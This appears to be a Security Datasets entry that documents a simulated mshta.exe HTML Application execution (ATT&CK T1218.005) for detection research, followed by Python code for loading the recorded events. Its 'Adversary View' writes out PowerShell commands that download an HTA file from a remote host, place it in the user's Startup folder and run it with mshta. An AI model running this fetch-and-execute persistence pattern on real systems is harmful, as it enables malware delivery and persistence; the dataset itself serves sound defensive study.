Mshta HTML Application (HTA) Execution

Metadata

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/22

Modification Date

2020/10/22

Tactics

TA0005

Techniques

T1218.005

Tags

art.c4b97eeb-5249-4455-a607-59f95485cb45

Dataset Description

This dataset represents threat actors leveraging mshta.exe to proxy execute malicious commands via an .hta file.

Simulation Metadata

Tools

type

Name

Module

Manual

PowerShell

PowerShell

Adversary View

$var =Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta"
$var.content|out-file "$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta"
mshta "$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta"

Explore Datasets

Download & Decompress Dataset

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/psh_mshta_html_application_execution.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events

df.groupby(['Channel']).size().sort_values(ascending=False)